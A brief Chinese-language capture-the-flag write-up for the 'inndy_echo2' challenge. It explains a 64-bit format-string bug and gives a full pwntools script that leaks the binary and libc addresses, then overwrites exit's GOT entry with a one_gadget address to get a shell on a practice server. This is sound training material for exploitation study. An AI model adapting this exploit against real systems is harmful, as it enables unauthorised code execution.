inndy_echo2

inndy_echo2

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64位下的格式化漏洞，泄露出基址，再泄露出libc。改exit为one_gadget，exit退出就会getshell。
pwndbg运行至printf这里看一下stack就可以发现41和43可以拿到两个地址，再算出one_gadget。这里笔者进行格式化漏洞攻击的时候选定的是ljust(16, b'\x00') + exit_addr。exit_addr。刚好exit_addr放在了偏移为8。分开写，两个字节两个字节写。

from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 29463)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

p1 = '%41$p'
r.sendline(p1)

r.recvuntil('0x')
base_addr = int(r.recv(14), 16) - 0xa03
success('base_addr = ' + hex(base_addr))

p2 = '%43$p'
r.sendline(p2)

r.recvuntil('0x')
__libc_start_main = int(r.recv(14), 16) - 205
success('__libc_start_main = ' + hex(__libc_start_main))

libc = ELF('libc-2.23.so')
libc_base = __libc_start_main - libc.sym['__libc_start_main']
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = libc_base + one[0]

exit_addr = base_addr + elf.got['exit']

one1 = one_gadget & 0xffff
one2 = (one_gadget >> 16) & 0xffff
one3 = (one_gadget >> 32) & 0xffff

payload = (b'%' + bytes(str(one1), encoding='utf-8') + b'c%8$hn').ljust(16, b'a') + p64(exit_addr)
r.sendline(payload)
sleep(0.5)

payload = (b'%' + bytes(str(one2), encoding='utf-8') + b'c%8$hn').ljust(16, b'a') + p64(exit_addr+2)
r.sendline(payload)
sleep(0.5)

payload = (b'%' + bytes(str(one3), encoding='utf-8') + b'c%8$hn').ljust(16, b'a') + p64(exit_addr + 4)
r.sendline(payload)
sleep(0.5)

r.sendline('exit')

r.interactive()